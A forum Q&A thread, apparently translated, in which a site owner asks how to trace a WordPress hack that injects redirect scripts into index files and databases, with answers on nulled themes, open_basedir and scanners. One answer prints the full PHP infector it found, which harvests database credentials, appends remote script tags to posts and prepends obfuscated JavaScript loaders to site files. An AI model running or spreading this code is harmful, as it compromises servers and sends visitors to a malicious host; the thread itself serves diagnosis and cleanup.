How to find wordpress hack site?

Question

Malware

Hello, there was a hack on a server with several wordpress sites, how can I diagnose the place of the hack? the virus went through the folders on the server, changed the permissions on the index.php files and wrote its own redirect code into the index files + changed links to its own in the Databases (redirects to directednotconverted.ml):

<script type='text/javascript' src='https://flat.lowerthenskyactive.ga/m.js?n=nb5'></script><?php
// Silence is golden.

Moreover, the virus passed through all the other sites and databases lying nearby.

It is clear that the matter may be in plugins, the theme and wp itself, how can this be diagnosed, for example, by logs? What is the general logic behind this type of hacking? through a request for a specific file?

Answer 1

Usually, the virus is found in a nulled plugin or theme downloaded from a pirate site. Here is an example of such a virus.
Therefore, you need to start disinfecting a site by searching for an infected plugin or theme (functions.php file). And the fact that the virus has reached neighboring sites means that restrictions are not configured on your server in PHP open_basedir. After such infections, I installed open_basedir everywhere: /home/user/site.com/www (restricted visibility within www) - so the virus will not be able to scan other folders outside the same domain.
There are antiviruses like AiBolit - they find viruses in the code.

Answer 2

Try security scanners, there are a lot of different ones

Answer 3

The file "lte_" is somehow put there, I have not yet determined how to place it on the server. It starts posting code to PHP JS HTM files and to the database with a redirect. Thousands.
Ai-bolit finds all this, thanks to him he just discovered it.
File "lte_" :

spoiler

<?php echo "ssqqss>>>";
error_reporting(0);
ini_set('display_errors',0);


search_file_js($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../",".js");
die();

  
function get_var_reg($pat,$text) {
  
  if ($c = preg_match_all ("/".$pat."/is", $text, $matches))
  {
    return $matches[1][0];
  }
    
  return "";
}
function search_file_ms($dir,$file_to_search){

$search_array = array();

$files = scandir($dir);

if($files == false) {
  
  $dir = substr($dir, 0, -3);
  if (strpos($dir, '../') !== false) {
    
    @search_file_ms( $dir,$file_to_search);
    return;
  }
  if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
    
    @search_file_ms( $dir,$file_to_search);
    return;
  }
}

foreach($files as $key => $value){


    $path = realpath($dir.DIRECTORY_SEPARATOR.$value);

    if(!is_dir($path)) {
    if (strpos($value,$file_to_search) !== false) {
    
      show_sitenames($path);
      
      
      
        }

    } else if($value != "." && $value != "..") {

        @search_file_ms($path, $file_to_search);

    }  
 } 
}
function show_sitenames($file){
  $content = @file_get_contents($file);
  if(strpos($content, "DB_NAME") !== false) {
  
  
  $db = get_var_reg("'DB_NAME'.*?,.*?['|\"](.*?)['|\"]",$content);
  $host = get_var_reg("'DB_HOST'.*?,.*?['|\"](.*?)['|\"]",$content);
  $user = get_var_reg("'DB_USER'.*?,.*?['|\"](.*?)['|\"]",$content);
  $pass = get_var_reg("'DB_PASSWORD'.*?,.*?['|\"](.*?)['|\"]",$content);


// Create connection
$conn = new mysqli($host, $user, $pass);

// Check connection
if ($conn->connect_error) {
 
} else { 


$q = "SELECT TABLE_SCHEMA,TABLE_NAME FROM information_schema.TABLES WHERE `TABLE_NAME` LIKE '%post%'";
$result = $conn->query($q);
if ($result->num_rows > 0) {
    while($row = $result->fetch_assoc()) {
    $q2 = "SELECT post_content FROM " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]."  LIMIT 1 ";
  $result2 = $conn->query($q2);
  if ($result2->num_rows > 0) {
    while($row2 = $result2->fetch_assoc()) {
      $val = $row2['post_content'];
      if(strpos($val, "flat.lowerthenskyactive.ga") === false){
        if(strpos($val, "flat.lowerthenskyactive.ga") === false){
          
        
          $q3 = "UPDATE " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." set post_content = CONCAT(post_content,\"<script src='https://flat.lowerthenskyactive.ga/m.js?n=ns1' type='text/javascript'></script>\") WHERE post_content NOT LIKE '%flat.lowerthenskyactive.ga%'";
          $conn->query($q3);
          echo "sql:" . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"];
        
        } else {
        
        }

      } 
    }
  } else {
  }
    }
} else {
}
$conn->close();
}
}
}

function search_file($dir,$file_to_search){

$files = @scandir($dir);

if($files == false) {
  
  $dir = substr($dir, 0, -3);
  if (strpos($dir, '../') !== false) {
    
    @search_file( $dir,$file_to_search);
    return;
  }
  if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
    
    @search_file( $dir,$file_to_search);
    return;
  }
}

foreach($files as $key => $value){

    $path = realpath($dir.DIRECTORY_SEPARATOR.$value);
  
    if(!is_dir($path)) {
    if (strpos($value,$file_to_search) !== false && (strpos($value,".ph") !== false || strpos($value,".htm")) !== false) {

    make_it($path);

    } }else if($value != "." && $value != "..") {

        search_file($path, $file_to_search);

    }  
 } 

}

function search_file_index($dir,$file_to_search){

$files = @scandir($dir);

if($files == false) {
  
  $dir = substr($dir, 0, -3);
  if (strpos($dir, '../') !== false) {
    
    search_file_index( $dir,$file_to_search);
    return;
  }
  if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
    
    search_file_index( $dir,$file_to_search);
    return;
  }
}

foreach($files as $key => $value){

    $path = realpath($dir.DIRECTORY_SEPARATOR.$value);
  
    if(!is_dir($path)) {
    if (strpos($value,$file_to_search) !== false && (strpos($value,".ph") !== false || strpos($value,".htm")) !== false) {

    make_it_index($path);

    } }else if($value != "." && $value != "..") {

        search_file_index($path, $file_to_search);

    }  
 } 

}
function search_file_js($dir,$file_to_search){

$files = @scandir($dir);
if($files == false) {
  
  $dir = substr($dir, 0, -3);
  if (strpos($dir, '../') !== false) {
    
    @search_file_js( $dir,$file_to_search);
    return;
  }
  if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
    
    @search_file_js( $dir,$file_to_search);
    return;
  }
}

foreach($files as $key => $value){

    $path = realpath($dir.DIRECTORY_SEPARATOR.$value);
  
    if(!is_dir($path)) {
    if (strpos($value,$file_to_search) !== false && (strpos($value,".js") !== false)) {

    make_it_js($path);

    } }else if($value != "." && $value != "..") {

        search_file_js($path, $file_to_search);

    }  
 } 

}

function make_it_js($f){
      $g = file_get_contents($f);
      
                    

if (strpos($g, '102,108,97,116,46,108,111,119,101,114,116,104,101,110,115,107,121,97,99,116,105,118,101,46,103,97') !== false) {

} else {

$l2 = "Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,102,108,97,116,46,108,111,119,101,114,116,104,101,110,115,107,121,97,99,116,105,118,101,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();";
$g = file_get_contents($f);
$g = $l2.$g;
@system('chmod 777 '.$f);
@file_put_contents($f,$g);
echo "js:".$f."\r\n";
}

      
}
function make_it_index($f){
$g = file_get_contents($f);
if (strpos($g, '102,108,97,116,46,108,111,119,101,114,116,104,101,110,115,107,121,97,99,116,105,118,101,46,103,97') !== false || strpos($g, 'flat.lowerthenskyactive.ga') !== false) {

} else {
$l2 = "<script type='text/javascript' src='https://flat.lowerthenskyactive.ga/m.js?n=nb5'></script>";
$g = file_get_contents($f);
$g = $l2.$g;

@system('chmod 777 '.$f);
@file_put_contents($f,$g);
echo "in:".$f."\r\n";


      }
}

function make_it($f){
$g = file_get_contents($f);
if (strpos($g, '102,108,97,116,46,108,111,119,101,114,116,104,101,110,115,107,121,97,99,116,105,118,101,46,103,97') !== false) {

} else {
$l2 = "<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,102,108,97,116,46,108,111,119,101,114,116,104,101,110,115,107,121,97,99,116,105,118,101,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>";
if (strpos($g, '<head>') !== false) {
$b = str_replace("<head>","<head>".$l2,$g);
@system('chmod 777 '.$f);
@file_put_contents($f,$b);
echo "hh:".$f."\r\n";
}
if (strpos($g, '</head>') !== false) {
$b = str_replace("</head>",$l2."</head>",$g);
@system('chmod 777 '.$f);
@file_put_contents($f,$b);
echo "hh:".$f."\r\n";
}


      }
}

Answer 4

There are two types of vulnerabilities in WP - an outdated version of WP itself and vulnerabilities in plugins and themes. It is extremely dangerous to use "cracked" themes, they are often embedded with malicious code. To find vulnerabilities in Wordpress, you can use a special scanner for WP. Offhand, these are:
- https://metascan.ru ;
- wprecon.com
- hackertarget.com/wordpress-security-scan.
And of course, be careful with free themes and dubious plugins, as they may initially contain viruses.